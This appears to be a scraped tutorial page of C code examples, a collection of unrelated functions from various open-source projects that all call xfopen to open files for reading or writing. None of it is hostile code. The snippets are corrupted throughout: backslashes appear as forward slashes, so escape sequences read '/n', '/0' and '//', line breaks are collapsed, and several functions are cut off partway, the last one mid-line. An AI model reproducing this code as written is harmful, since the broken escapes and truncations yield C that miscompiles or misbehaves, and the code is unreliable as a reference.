自学教程：C++ xfopen函数代码示例

int main(int argc, char **argv){	int c, opt;	extern char *optarg;	struct stat statbuf;	FILE *devtable = NULL;	umask (0);	while ((opt = getopt_long(argc, argv, "D:d:r:qhv", 			long_options, &c)) >= 0) {		switch (opt) {		case 'D':			devtable = xfopen(optarg, "r");			if (fstat(fileno(devtable), &statbuf) < 0)				perror_msg_and_die(optarg);			if (statbuf.st_size < 10)				error_msg_and_die("%s: not a proper device table file", optarg);			break;		case 'h':			fprintf(stderr, helptext);			exit(1);		case 'r':		case 'd':				/* for compatibility with mkfs.jffs, genext2fs, etc... */			if (rootdir != default_rootdir) {				error_msg_and_die("root directory specified more than once");			}			rootdir = xstrdup(optarg);			break;		case 'v':			fprintf(stderr, "makedevs revision %.*s/n",					(int) strlen(revtext) - 13, revtext + 11);			exit(1);		}	}	go(rootdir, devtable);	return 0;}

int glp_write_ipt(glp_prob *lp, const char *fname){   XFILE *fp;    int i, j, ret = 0;    xprintf("Writing interior-point solution to `%s'.../n", fname);    fp = xfopen(fname, "w");    if (fp == NULL)    {   xprintf("Unable to create `%s' - %s/n", fname, xerrmsg());        ret = 1;        goto done;    }    /* number of rows, number of columns */    xfprintf(fp, "%d %d/n", lp->m, lp->n);    /* solution status, objective value */    xfprintf(fp, "%d %.*g/n", lp->ipt_stat, DBL_DIG, lp->ipt_obj);    /* rows (auxiliary variables) */    for (i = 1; i <= lp->m; i++)    {   GLPROW *row = lp->row[i];        /* primal value, dual value */        xfprintf(fp, "%.*g %.*g/n", DBL_DIG, row->pval, DBL_DIG,                 row->dval);    }    /* columns (structural variables) */    for (j = 1; j <= lp->n; j++)    {   GLPCOL *col = lp->col[j];        /* primal value, dual value */        xfprintf(fp, "%.*g %.*g/n", DBL_DIG, col->pval, DBL_DIG,                 col->dval);    }    xfflush(fp);    if (xferror(fp))    {   xprintf("Write error on `%s' - %s/n", fname, xerrmsg());        ret = 1;        goto done;    }    xprintf("%d lines were written/n", 2 + lp->m + lp->n);done:    if (fp != NULL) xfclose(fp);    return ret;}

static void write_newpgen_files(uint64_t p){  FILE *file;  char file_name[FILENAME_MAX+1];  int t;  uint32_t i, count, total;  for (total = 0, i = 0; i < seq_count; i++)  {    assert(ABS(SEQ[i].c) == 1 || SEQ[i].k == 1);    t = npg_format_index(SEQ[i].c);    if (t == 0 || t == 1)      snprintf(file_name, FILENAME_MAX, "t%d_b%" PRIu32 "_k%" PRIu64 ".%s",               npg_formats[t].sieve_type, base, SEQ[i].k, NEWPGEN_EXT);    else      snprintf(file_name, FILENAME_MAX, "t%d_b%" PRIu32 "_k%" PRIu64 ".%s",               npg_formats[t].sieve_type, base, ABS(SEQ[i].c), NEWPGEN_EXT);    file_name[FILENAME_MAX] = '/0';    if ((file = xfopen(file_name, "w", warning)) == NULL)      continue;    fprintf(file, "%"PRIu64":%c:1:%"PRIu32":%d/n",            p, npg_formats[t].mode_char, base, npg_formats[t].mode_bits);    count = seq_for_each_term(i,npg_formats[t].write_fun,file);    if (seq_count == 1 || verbose > 1)      report("Wrote %"PRIu32" term%s for sequence %s to NewPGen format file"             " `%s'.", count, plural(count), seq_str(i), file_name);    xfclose(file,file_name);    total += count;  }  if (seq_count > 1 && verbose == 1) /* don't report twice */    report("Wrote %"PRIu32" term%s for %"PRIu32" sequence%s to NewPGen format"           " files t*_b%"PRIu32"_k*.%s.", total, plural(total),           seq_count, plural(seq_count), base, NEWPGEN_EXT);}

voidse_pcre_init(const char *project, const char *index){  static int initialized = 0;  static char *iproject = NULL, *iindex = NULL;  FILE *fp;  static char glist_fname[_MAX_PATH];  if (!project || !*project)    project = "cdli";  if (initialized && !strcmp(iproject,project) && !strcmp(iindex,index))    return;  if (iproject)    free(iproject);  if (iindex)    free(iindex);  iproject = strdup(project);  iindex = strdup(index);  initialized = 1;  strcpy(glist_fname, se_file(project, index, "key.lst"));  xaccess (glist_fname, R_OK, TRUE);  glist_buf_len = fsize_t (glist_fname, NULL);  glist_buf = malloc(glist_buf_len+3);  *glist_buf = '/n';  fp = xfopen (glist_fname, "rb");  xfread (glist_fname, TRUE, &glist_buf[1], 1, glist_buf_len, fp);  xfclose (glist_fname, fp);  ++glist_buf_len;  glist_buf[glist_buf_len++] = '/n';  glist_buf[glist_buf_len++] = '/0';  for (glist_begin = glist_buf+1; '#' == *glist_begin; ++glist_begin)    {      while ('/n' != *glist_begin)	++glist_begin;    }  glist_len = glist_buf_len - (glist_begin - glist_buf);}

void get_available_functions (FILE *file){	int i,j;	char *fnames[FUNCTIONS_TO_TEST*3] = {		/* statement to compile,	if it works,	if not */		"sqrtf(1.0f);",			0,		"#define sqrtf sqrt",		"sinf(1.0f);",			0,		"#define sinf sin",		"cosf(1.0f);",			0,		"#define cosf cos",		"fabsf(1.0f);",			0,		"#define fabsf fabs",		"atan2f(1.0f,1.0f);",		0,		"#define atan2f atan2",		"fmodf(1.0f,1.0f);",		0,		"#define fmodf fmod",		"copysignf(1.0f,1.0f);",	0,		"#define copysignf copysign",		/* to handle cygwin: */		"copysign(1.0,1.0);",		0,		"#define copysign _copysign",		"snprintf(/"/",0,/"/");",	0,		"#define snprintf _snprintf",		"vsnprintf(/"/",0,/"/",0);",	0,		"#define vsnprintf _vsnprintf"	};	write_header_comment (file,"available functions");	for (i=0; i < FUNCTIONS_TO_TEST; i++) {		FILE *f = xfopen ("ctest.cpp","wt");		for (j=0; j < NUM_HEADERS; j++) {			if (header_used[j]) fprintf (f,"#include <%s>/n",header_files[j]);		}		fprintf (f,"int main() { %s return 0; }/n",fnames[i*3]);		fclose (f);		delete_file ("ctest.exe");		compile ("ctest.exe","ctest.cpp");		if (file_exists ("ctest.exe")) {			if (fnames[i*3+1]) fprintf (file,"%s/n",fnames[i*3+1]);		}		else {			if (fnames[i*3+2]) fprintf (file,"%s/n",fnames[i*3+2]);		}		delete_file ("ctest.cpp");		delete_file ("ctest.exe");	}}

void get_all_standard_headers (FILE *file){  int i;  for (i=0; i < NUM_HEADERS; i++) {    FILE *f = xfopen ("ctest.cpp","wt");    fprintf (f,"#include <%s>/nint main() { return 0; }/n",header_files[i]);    fclose (f);    delete_file ("ctest.exe");    compile ("ctest.exe","ctest.cpp");    if (file_exists ("ctest.exe")) {      fprintf (file,"#include <%s>/n",header_files[i]);      header_used[i] = 1;    }    else {      header_used[i] = 0;    }  }  delete_file ("ctest.cpp");  delete_file ("ctest.exe");}

static void write_abcd_file(uint64_t p){  FILE *file;  uint32_t seq, count;  char file_name[FILENAME_MAX+1];  snprintf(file_name, FILENAME_MAX, "sr_%"PRIu32".%s", base, ABCD_EXT);  file_name[FILENAME_MAX] = '/0';  if ((file = xfopen(file_name, "w", warning)) == NULL)    return;  abcd_p = p;  for (count = 0, seq = 0; seq < seq_count; seq++)  {    fprintf(file, "ABCD %" PRIu64 "*%" PRIu32 "^$a%+" PRId64,            SEQ[seq].k, base, SEQ[seq].c);    abcd_n = UINT32_MAX;    count += seq_for_each_term(seq,(kcn_app_t)write_abcd_delta,file);  }  report_wrote(count,seq_count,"ABCD",file_name);  xfclose(file,file_name);}

static void load_cmd_file(char *filename){	FILE *cmdfile;	char *line;	char *nextline;	cmdfile = xfopen(filename, "r");	while ((line = get_line_from_file(cmdfile)) != NULL) {		/* if a line ends with '/' it needs the next line appended to it */		while (line[strlen(line)-2] == '//' &&				(nextline = get_line_from_file(cmdfile)) != NULL) {			line = xrealloc(line, strlen(line) + strlen(nextline) + 1);			strcat(line, nextline);			free(nextline);		}		/* eat trailing newline (if any) --if I don't do this, edit commands		 * (aic) will print an extra newline */		chomp(line);		add_cmd_str(line);		free(line);	}}

intsavestate_f(Mach *m, uint slot){	FILE *fp;	int   ret;	if (slot >= nelem(m->state))		return -EINVAL;	fp = xfopen("%u.sav", "wb", slot);	if (!fp)		return -errno;	ret = 0;	memset(m->state[slot], 0, sizeof(m->state[slot]));	savestate(m, m->state[slot]);	if (fwrite(m->state[slot], 1, sizeof(m->state[slot]), fp) != sizeof(m->state[slot]))		ret = -errno;	fclose(fp);	return ret;}

intmain(int argc, char **argv){  const char *fname[2];  options(argc,argv,"bcdgno:p:sux");  if (!stdin_input)    {      fname[0] = file = argv[optind];      fname[1] = NULL;    }  if (outfile)    f_xml = outfp = xfopen(outfile,"w");  else    f_xml = stdout;  f_log = stderr;    gdl_pool = npool_init();  pool_init();  tree_init();  gdl_init();  cuneify_init(xpd);  curr_lang = global_lang = lang_switch(NULL,"sux",NULL,NULL,0);  /*current_state = set_state(s_global,s_text);*/#if 0  if (!project)    {      project = "cdli";      load_lang_in_project(current_state.lang);      charset_init_lang(curr_data->this);      curr_data->cset = curr_data->this->cset[current_state.mode];    }

static voidnarrow (const char *path){  FILE *old_stdin = stdin;  stdin = xfopen (path, "r");  TEST_COMPARE (getchar (), 'a');  TEST_COMPARE (getchar_unlocked (), 'b');  char ch = 1;  TEST_COMPARE (scanf ("%c", &ch), 1);  TEST_COMPARE (ch, 'c');  TEST_COMPARE (call_vscanf ("%c", &ch), 1);  TEST_COMPARE (ch, 'd');  char buf[8];  memset (buf, 'X', sizeof (buf));  /* Legacy interface.  */  extern char *gets (char *);  TEST_VERIFY (gets (buf) == buf);  TEST_COMPARE_BLOB (buf, sizeof (buf), "ef/0XXXXX", sizeof (buf));  fclose (stdin);  stdin = old_stdin;}

void get_alloca_usage (FILE *file){  int i,j;  for (i=0; i<NUM_ALLOCA; i++) {    FILE *f = xfopen ("ctest.cpp","wt");    for (j=0; j < NUM_HEADERS; j++) {      if (header_used[j]) fprintf (f,"#include <%s>/n",header_files[j]);    }    fprintf (f,"int main() { void *foo = %s (10); }/n",alloca_function[i]);    fclose (f);    delete_file ("ctest.exe");    compile ("ctest.exe","ctest.cpp");    if (file_exists ("ctest.exe")) {      if (i > 0) {	write_header_comment (file,"how to use alloca()");	fprintf (file,"#define alloca %s/n/n",alloca_function[i]);      }      break;    }  }  delete_file ("ctest.cpp");  delete_file ("ctest.exe");  if (i == NUM_ALLOCA) fatal_error ("i can't find a way to use alloca()");}

static llist_t *append_file_list_to_list(llist_t *list){	FILE *src_stream;	llist_t *cur = list;	llist_t *tmp;	char *line;	llist_t *newlist = NULL;	while (cur) {		src_stream = xfopen(cur->data, "r");		tmp = cur;		cur = cur->link;		free(tmp);		while ((line = xmalloc_getline(src_stream)) != NULL) {			/* kill trailing '/' unless the string is just "/" */			char *cp = last_char_is(line, '/');			if (cp > line)				*cp = '/0';			llist_add_to(&newlist, line);		}		fclose(src_stream);	}	return newlist;}

/*#define PADDED_GRAPHEME_LEN 32*/voidalias_index_aliases (const char *project,const char *index){    const char *alias_fn, *alias_dir;    FILE *alias_fp;    Dbi_index *alias_dip;    Uchar padded_grapheme[PADDED_GRAPHEME_LEN], head_grapheme[PADDED_GRAPHEME_LEN];    Uchar *s, *t;    int last_grapheme_len = PADDED_GRAPHEME_LEN;    int line_num = 0;    int hg_len = 0;    alias_fn = strdup(se_file(project, index, "aliases"));    alias_dir = se_dir(project,index);    if (xaccess(alias_fn,W_OK|R_OK,0))    {        if (verbose)            mwarning(NULL,"no aliases file %s; proceeding without aliasing",alias_fn);        return;    }    alias_fp = xfopen (alias_fn, "r");    alias_dip = dbi_create ("aliases", alias_dir, 1024, 1, DBI_BALK);    dbi_set_cache (alias_dip, 32);    while (NULL != (s = getline (alias_fp)))    {        if ('#' == *s)            continue;        if (!isspace(*s))        {            memset (head_grapheme, '/0', last_grapheme_len);            t = head_grapheme;            while (*s && !isspace(*s))            {                if (t - head_grapheme == PADDED_GRAPHEME_LEN)                {                    *t = '/0';                    error (ewfile(alias_fn, line_num),                           "%s...: grapheme too long (max %d chars)",                           head_grapheme, PADDED_GRAPHEME_LEN-1);                }                *t++ = *s++;            }            *t++ = '/0';            hg_len = t - head_grapheme;            while (*s && isspace(*s))                ++s;        }        else        {            do                ++s;            while (*s && isspace(*s));        }        while (*s)        {            t = padded_grapheme;            while (*s && !isspace(*s))            {                if (t - padded_grapheme == PADDED_GRAPHEME_LEN)                {                    *t = '/0';                    error (ewfile(alias_fn, line_num), "%s...: grapheme too long (max %d chars)",padded_grapheme,PADDED_GRAPHEME_LEN-1);                }                *t++ = *s++;            }            *t = '/0';            last_grapheme_len = t - padded_grapheme;            if (DBI_BALK == dbi_add (alias_dip, padded_grapheme, head_grapheme, hg_len))                mwarning (NULL, "duplicate grapheme alias %s -> %s", padded_grapheme, head_grapheme);            while (*s && isspace(*s))                ++s;        }    }    dbi_flush (alias_dip);    xfclose (alias_fn, alias_fp);}

int main(int argc, char* argv[]){  long long realpos;  int bytes_read, overlap, tagID, len;  char *pos, *found, *end, *content, *tag;  FILE* fp;  if (argc > 1)    fp = xfopen(argv[1], "r");  else    fp = stdin;  content = 0;  // state: not reading content  tag = 0;      // state: not reading tag attributes  tagID = tagInvalid;  realpos = 0;  overlap = 0;  pos = buf;  /* XML content should be passed on as one sequence.   * Therefore, when end of input chunk is found while reading   * content, this content is copied to beginning of buffer (with   * length <overlap>) and further reading is done after that.   * This limits the length of parsable XML content to size of buffer   * (large XML content simply will be skipped with a warning).   */  while(1) {    if (overlap) {      /* copy over content from previous input chunk */      memcpy(buf, pos, overlap);    }    if (feof(fp)) {      /* append end marker */      bytes_read = sprintf(buf + overlap, "<<<<                  ");    }    else      bytes_read = fread(buf + overlap, 1, SIZE-overlap, fp);    end = buf + overlap + bytes_read;    *end = 0;    pos = buf;    overlap = 0;    realpos += bytes_read;    while(pos<end) {      if (tag)        found = strchr(pos, '>');      else        found = strchr(pos, '<');      if (found == 0) {        if (content == 0 && tag == 0) {          break;        }        if (pos == buf) {          fprintf(stderr, "Skipping large content at %lld ('%s')/n",		  realpos - (end-pos), currentTitle);          tag = content = 0;          break;        }      }      if (found == 0 || (found + 15 > end)) {        if (content == 0 && tag == 0) {          overlap = end - found;          pos = found;        }        else if (tag) {          overlap = end - tag;          pos = tag;          tag = buf;        }        else {          overlap = end - content;          pos = content;          content = buf;        }        break;      }      pos = found + 1;      if (tag) {        //gotTag(tagID, tag, pos - tag -1);        tag = 0;        if (*(pos-2) == '/') {	  char text[1];	  text[0] = 0;          gotContent(tagID, text, 0,              realpos - (end-pos));          content = 0;        }        else          content = pos;        continue;      }      if (content) {        if ((pos[0] != '/') ||            (strncmp(pos+1, tagName[tagID], tagLen[tagID]) != 0) ||            (pos[tagLen[tagID]+1] != '>')) {          fprintf(stderr, "Error at %ld: </%s> expected/n",//.........这里部分代码省略.........

int sort_main(int argc, char **argv){	FILE *fp;	char *line, **lines = NULL;	int i, opt, nlines = 0;	int (*compare)(const void *, const void *) = compare_ascii;#ifdef BB_FEATURE_SORT_REVERSE	int reverse = FALSE;#endif	while ((opt = getopt(argc, argv, "nrl")) != -1) {		switch (opt) {			case 'n':				compare = compare_numeric;				break;#ifdef BB_FEATURE_SORT_REVERSE			case 'r':				reverse = TRUE;				break;#endif			/*			 * FIXME: This hack is used so that comparison will be limitid			 * to LOG_COMPARE_LEN chars so as to only sort using time stamp			 * of format:			 * -->Mmm DD HH:MM:SS<--			 * -->012345678901234<--			 */			#define LOG_COMPARE_LEN 15			case 'l':				max_compare_len = LOG_COMPARE_LEN;				break;			default:				show_usage();		}	}	/* read the input */	for (i = optind; i == optind || i < argc; i++) {		if (argv[i] == NULL)			fp = stdin;		else			fp = xfopen(argv[i], "r");		while ((line = get_line_from_file(fp)) != NULL) {			lines = xrealloc(lines, sizeof(char *) * (nlines + 1));			lines[nlines++] = line;		}	}	/* sort it */	qsort(lines, nlines, sizeof(char *), compare);	/* print it */#ifdef BB_FEATURE_SORT_REVERSE	if (reverse)		for (i = nlines - 1; 0 <= i; i--)			fputs(lines[i], stdout);	else#endif	for (i = 0; i < nlines; i++)	{		fputs(lines[i], stdout);		free(lines[i]);	}	free(lines);	fclose(fp);	return EXIT_SUCCESS;}

static void update_groupfiles(char *filename, char* username){  char *filenamesfx = NULL, *sfx = NULL, *line = NULL;  FILE *exfp, *newfp;  int ulen = strlen(username);  struct flock lock;  filenamesfx = xmprintf("%s+", filename);  sfx = strchr(filenamesfx, '+');  exfp = xfopen(filename, "r+");  *sfx = '-';  unlink(filenamesfx);  if (link(filename, filenamesfx)) error_msg("Can't create backup file");  *sfx = '+';  lock.l_type = F_WRLCK;  lock.l_whence = SEEK_SET;  lock.l_start = lock.l_len = 0;  if (fcntl(fileno(exfp), F_SETLK, &lock) < 0)    perror_msg("Couldn't lock file %s",filename);  lock.l_type = F_UNLCK; //unlocking at a later stage  newfp = xfopen(filenamesfx, "w+");  while ((line = get_line(fileno(exfp))) != NULL){    sprintf(toybuf, "%s:",username);    if (!strncmp(line, toybuf, ulen+1)) goto LOOP;    else {      char *n, *p = strrchr(line, ':');      if (p && *++p && (n = strstr(p, username))) {        do {          if (n[ulen] == ',') {            *n = '/0';            n += ulen + 1;            fprintf(newfp, "%s%s/n", line, n);            break;          } else if (!n[ulen]) {            if (n[-1] == ',') n[-1] = *n = '/0';            if (n[-1] == ':') *n = '/0';            fprintf(newfp, "%s%s/n", line, n);            break;          } else n += ulen;        } while (*n && (n=strstr(n, username)));        if (!n) fprintf(newfp, "%s/n", line);      } else fprintf(newfp, "%s/n", line);    }LOOP:    free(line);  }  fcntl(fileno(exfp), F_SETLK, &lock);  fclose(exfp);  errno = 0;  fflush(newfp);  fsync(fileno(newfp));  fclose(newfp);  rename(filenamesfx, filename);  if (errno){    perror_msg("File Writing/Saving failed: ");    unlink(filenamesfx);  }  free(filenamesfx);}

/* run simulation */int run(void){  gmx_mtop_t *mtop;  int i, ndata, nat, rescnt = 0;  char fxtc[FILENAME_MAX] = "";  char *ftop;  matrix box;  rvec *xref = NULL, *xrefbb = NULL;  zedata_t *ze = NULL;  trj_t *trj = NULL;  double dt, bref = 1.0/(BOLTZ*Tref), wtot = 0.0;  hist_t *hsrms = NULL;  bb_t *bb = NULL;  FILE *fplog = NULL;  memset(box, 0, sizeof(box));  /* read topology and the reference structure */  die_if ((ftop = nfexists(fntop, 7)) == NULL, "no topology file %s/n", fntop);  mtop = read_tpx_conf(ftop, &xref, box, &nat, &dt);  printf("using the structure in %s as the reference/n", ftop);  bb = init_index(&rescnt, mtop); /* get indices for backbone dihedrals */  xnew(xrefbb, rescnt * 3);  xgetbb(xrefbb, xref, bb, rescnt);  hsrms = hs_open(1, 0.0, xmax, xdel);  if (fnlog) {    xfopen(fplog, fnlog, "w", exit(1));  }  if (fndist2 != NULL) {    /* if there's a second database, combine it with the first database */    die_if (0 != hs_load(hsrms, fndist, HIST_VERBOSE),        "cannot load master %s/n", fndist);    die_if (0 != hs_load(hsrms, fndist2, HIST_VERBOSE|HIST_ADDITION),        "cannot add the second %s/n", fndist2);  } else  {    /* if there's no second database, we accumulate trajectories */    /* 1. initialize multiple histogram weights for tempering */    if (!ctmd) {      if ((ze = ze_load(fnze, 10)) == NULL) {        fprintf(stderr, "cannot load %s/n", fnze);        return -1;      }      /* we first load TRACE, compute weight of each frame */      if ((trj = trj_loadseq(fntr, &ndata, dt, tequil,              ze, bref, delbet)) == NULL) {        fprintf(stderr, "failed to load trace/n");        return -1;      }    } else {      /* for regular MD, set ndata to a large number */      ndata = 10000000;    }    /* 2. we now successively load xtc from each data dir,     * try to match the TRACE frames */    if (!ctmd) trj->pos = 0;    for (i = 1; i <= ndata; i++) {      sprintf(fxtc, "data%d/%s", i, fnxtc);      if (!fexists(fxtc)) { /* test if the file exists */        die_if(!ctmd, "cannot read %s/n", fnxtc);        break;      }      if (0 != dotrj(hsrms, bb, rescnt, fplog,            trj, fxtc, xrefbb, nat, box, &wtot)) {        fprintf(stderr, "error doing %s/n", fnxtc);        return -1;      }    }  }  hs_save(hsrms, fndist, HIST_ADDAHALF|HIST_VERBOSE);  hs_close(hsrms);  sfree(mtop);  if (!ctmd) {    if (trj) trj_free(trj);    if (ze) ze_free(ze);  }  free(xrefbb);  return 0;}

/* Run uuidcache_check_device() for every device mentioned * in /proc/partitions */static voiduuidcache_init_partitions(void){	char line[100];	int ma, mi;	unsigned long long sz;	FILE *procpt;	int firstPass;	int handleOnFirst;	char *chptr;	procpt = xfopen("/proc/partitions", "r");/*# cat /proc/partitionsmajor minor  #blocks  name   8     0  293036184 sda   8     1    6835626 sda1   8     2          1 sda2   8     5     979933 sda5   8     6   15623181 sda6   8     7   97659103 sda7   8     8  171935631 sda8*/	for (firstPass = 1; firstPass >= 0; firstPass--) {		fseek(procpt, 0, SEEK_SET);		while (fgets(line, sizeof(line), procpt)) {			/* The original version of this code used sscanf, but			   diet's sscanf is quite limited */			chptr = line;			if (*chptr != ' ') continue;			chptr = skip_whitespace(chptr);			ma = bb_strtou(chptr, &chptr, 0);			if (ma < 0) continue;			chptr = skip_whitespace(chptr);			mi = bb_strtou(chptr, &chptr, 0);			if (mi < 0) continue;			chptr = skip_whitespace(chptr);			sz = bb_strtoull(chptr, &chptr, 0);			if ((long long)sz == -1LL) continue;			chptr = skip_whitespace(chptr);			/* skip extended partitions (heuristic: size 1) */			if (sz == 1)				continue;			*strchrnul(chptr, '/n') = '/0';			/* now chptr => device name */			dbg("/proc/partitions: maj:%d min:%d sz:%llu name:'%s'",						ma, mi, sz, chptr);			if (!chptr[0])				continue;			/* look only at md devices on first pass */			handleOnFirst = (chptr[0] == 'm' && chptr[1] == 'd');			if (firstPass != handleOnFirst)				continue;			/* heuristic: partition name ends in a digit */			if (isdigit(chptr[strlen(chptr) - 1])) {				uuidcache_check_device(chptr, ma, mi, 0);			}		}	}	fclose(procpt);}

int main(int argc, char **argv){	int c, opt;	extern char *optarg;	struct stat statbuf;	char passwd_path[PATH_MAX];	char group_path[PATH_MAX];	FILE *passwd_file = NULL;	FILE *group_file = NULL;	FILE *devtable = NULL;	DIR *dir = NULL;	umask (0);	if (argc==1) {		fputs( helptext , stderr );		exit(1);	}	while ((opt = getopt_long(argc, argv, "D:d:r:htv",			long_options, &c)) >= 0) {		switch (opt) {		case 'D':			devtable = xfopen(optarg, "r");			if (fstat(fileno(devtable), &statbuf) < 0)				perror_msg_and_die(optarg);			if (statbuf.st_size < 10)				error_msg_and_die("%s: not a proper device table file", optarg);			break;		case 'h':			puts(helptext);			exit(0);		case 'r':		case 'd':				/* for compatibility with mkfs.jffs, genext2fs, etc... */			if (rootdir != default_rootdir) {				error_msg_and_die("root directory specified more than once");			}			if ((dir = opendir(optarg)) == NULL) {				perror_msg_and_die(optarg);			} else {				closedir(dir);			}			/* If "/" is specified, use "" because rootdir is always prepended to a			 * string that starts with "/" */			if (0 == strcmp(optarg, "/"))				rootdir = xstrdup("");			else				rootdir = xstrdup(optarg);			break;		case 't':			trace = 1;			break;		case 'v':			printf("%s: %s/n", app_name, VERSION);			exit(0);		default:			fputs(helptext,stderr);			exit(1);		}	}	if (argv[optind] != NULL) {		fputs(helptext,stderr);		exit(1);	}	// Get name-id mapping	sprintf(passwd_path, "%s/etc/passwd", rootdir);	sprintf(group_path, "%s/etc/group", rootdir);	if ((passwd_file = fopen(passwd_path, "r")) != NULL) {		get_list_from_file(passwd_file, &usr_list);		fclose(passwd_file);	}	if ((group_file = fopen(group_path, "r")) != NULL) {		get_list_from_file(group_file, &grp_list);		fclose(group_file);	}	// Parse devtable	if(devtable) {		parse_devtable(devtable);		fclose(devtable);	}	// Free list	free_list(usr_list);	free_list(grp_list);	return 0;}

int nameif_main(int argc, char **argv){	ethtable_t *clist = NULL;	FILE *ifh;	const char *fname = "/etc/mactab";	char *line;	char *line_ptr;	int linenum;	int ctl_sk;	ethtable_t *ch;	if (1 & getopt32(argv, "sc:", &fname)) {		openlog(applet_name, 0, LOG_LOCAL0);		logmode = LOGMODE_SYSLOG;	}	argc -= optind;	argv += optind;	if (argc & 1)		bb_show_usage();	if (argc) {		while (*argv) {			char *ifname = xstrdup(*argv++);			prepend_new_eth_table(&clist, ifname, *argv++);		}	} else {		ifh = xfopen(fname, "r");		while ((line = xmalloc_fgets(ifh)) != NULL) {			char *next;			line_ptr = skip_whitespace(line);			if ((line_ptr[0] == '#') || (line_ptr[0] == '/n')) {				free(line);				continue;			}			next = skip_non_whitespace(line_ptr);			if (*next)				*next++ = '/0';			prepend_new_eth_table(&clist, line_ptr, next);			free(line);		}		fclose(ifh);	}	ctl_sk = xsocket(PF_INET, SOCK_DGRAM, 0);	ifh = xfopen("/proc/net/dev", "r");	linenum = 0;	while (clist) {		struct ifreq ifr;#if  ENABLE_FEATURE_NAMEIF_EXTENDED		struct ethtool_drvinfo drvinfo;#endif		line = xmalloc_fgets(ifh);		if (line == NULL)			break; /* Seems like we're done */		if (linenum++ < 2 )			goto next_line; /* Skip the first two lines */		/* Find the current interface name and copy it to ifr.ifr_name */		line_ptr = skip_whitespace(line);		*skip_non_whitespace(line_ptr) = '/0';		memset(&ifr, 0, sizeof(struct ifreq));		strncpy(ifr.ifr_name, line_ptr, sizeof(ifr.ifr_name));#if ENABLE_FEATURE_NAMEIF_EXTENDED		/* Check for driver etc. */		memset(&drvinfo, 0, sizeof(struct ethtool_drvinfo));		drvinfo.cmd = ETHTOOL_GDRVINFO;		ifr.ifr_data = (caddr_t) &drvinfo;		/* Get driver and businfo first, so we have it in drvinfo */		ioctl(ctl_sk, SIOCETHTOOL, &ifr);#endif		ioctl(ctl_sk, SIOCGIFHWADDR, &ifr);		/* Search the list for a matching device */		for (ch = clist; ch; ch = ch->next) {#if ENABLE_FEATURE_NAMEIF_EXTENDED			if (ch->bus_info && strcmp(ch->bus_info, drvinfo.bus_info) != 0)				continue;			if (ch->driver && strcmp(ch->driver, drvinfo.driver) != 0)				continue;#endif			if (ch->mac && memcmp(ch->mac, ifr.ifr_hwaddr.sa_data, ETH_ALEN) != 0)				continue;			/* if we came here, all selectors have matched */			goto found;		}		/* Nothing found for current interface */		goto next_line; found:		if (strcmp(ifr.ifr_name, ch->ifname) != 0) {			strcpy(ifr.ifr_newname, ch->ifname);			ioctl_or_perror_and_die(ctl_sk, SIOCSIFNAME, &ifr,					"cannot change ifname %s to %s",					ifr.ifr_name, ch->ifname);		}//.........这里部分代码省略.........

static voidread_all_cnf (kpathsea kpse){  string *cnf_files;  string *cnf;  const_string cnf_path = kpathsea_init_format (kpse, kpse_cnf_format);  kpse->cnf_hash = hash_create (CNF_HASH_SIZE);  cnf_files = kpathsea_all_path_search (kpse, cnf_path, CNF_NAME);  if (cnf_files && *cnf_files) {    for (cnf = cnf_files; *cnf; cnf++) {      string line;      string msg;      unsigned lineno = 0;      FILE *cnf_file = xfopen (*cnf, FOPEN_R_MODE);      if (kpse->record_input)        kpse->record_input (*cnf);      while ((line = read_line (cnf_file)) != NULL) {        unsigned len;        lineno++;        len = strlen (line);        /* Strip trailing spaces. */        while (len > 0 && ISSPACE(line[len-1])) {          line[len - 1] = 0;          --len;        }        /* Concatenate consecutive lines that end with /.  */        while (len > 0 && line[len - 1] == '//') {          string next_line = read_line (cnf_file);          lineno++;          line[len - 1] = 0;          if (!next_line) {            WARNING2 ("%s:%d: (kpathsea) Last line of file ends with //",                       *cnf, lineno);          } else {            string new_line;            new_line = concat (line, next_line);            free (line);            line = new_line;            len = strlen (line);          }        }        msg = do_line (kpse, line);        if (msg) {          WARNING4 ("%s:%d: (kpathsea) %s on line: %s",                    *cnf, lineno, msg, line);        }        free (line);      }      xfclose (cnf_file, *cnf);      free (*cnf);    }    free (cnf_files);  } else {    string warn = getenv ("KPATHSEA_WARNING");    if (!(warn && STREQ (warn, "0"))) {      WARNING1  ("kpathsea: configuration file texmf.cnf not found in these directories: %s",        cnf_path);    }  }}

VikLoadType_t a_file_load ( VikAggregateLayer *top, VikViewport *vp, const gchar *filename_or_uri ){  g_return_val_if_fail ( vp != NULL, LOAD_TYPE_READ_FAILURE );  char *filename = (char *)filename_or_uri;  if (strncmp(filename, "file://", 7) == 0) {    // Consider replacing this with:    // filename = g_filename_from_uri ( entry, NULL, NULL );    // Since this doesn't support URIs properly (i.e. will failure if is it has %20 characters in it)    filename = filename + 7;    g_debug ( "Loading file %s from URI %s", filename, filename_or_uri );  }  FILE *f = xfopen ( filename );  if ( ! f )    return LOAD_TYPE_READ_FAILURE;  VikLoadType_t load_answer = LOAD_TYPE_OTHER_SUCCESS;  gchar *dirpath = g_path_get_dirname ( filename );  // Attempt loading the primary file type first - our internal .vik file:  if ( check_magic ( f, VIK_MAGIC ) )  {    if ( file_read ( top, f, dirpath, vp ) )      load_answer = LOAD_TYPE_VIK_SUCCESS;    else      load_answer = LOAD_TYPE_VIK_FAILURE_NON_FATAL;  }  else if ( a_jpg_magic_check ( filename ) ) {    if ( ! a_jpg_load_file ( top, filename, vp ) )      load_answer = LOAD_TYPE_UNSUPPORTED_FAILURE;  }  else  {	// For all other file types which consist of tracks, routes and/or waypoints,	//  must be loaded into a new TrackWaypoint layer (hence it be created)    gboolean success = TRUE; // Detect load failures - mainly to remove the layer created as it's not required    VikLayer *vtl = vik_layer_create ( VIK_LAYER_TRW, vp, FALSE );    vik_layer_rename ( vtl, a_file_basename ( filename ) );    // In fact both kml & gpx files start the same as they are in xml    if ( a_file_check_ext ( filename, ".kml" ) && check_magic ( f, GPX_MAGIC ) ) {      // Implicit Conversion      if ( ! ( success = a_babel_convert_from ( VIK_TRW_LAYER(vtl), "-i kml", filename, NULL, NULL, NULL ) ) ) {        load_answer = LOAD_TYPE_GPSBABEL_FAILURE;      }    }    // NB use a extension check first, as a GPX file header may have a Byte Order Mark (BOM) in it    //    - which currently confuses our check_magic function    else if ( a_file_check_ext ( filename, ".gpx" ) || check_magic ( f, GPX_MAGIC ) ) {      if ( ! ( success = a_gpx_read_file ( VIK_TRW_LAYER(vtl), f ) ) ) {        load_answer = LOAD_TYPE_GPX_FAILURE;      }    }    else {      // Try final supported file type      if ( ! ( success = a_gpspoint_read_file ( 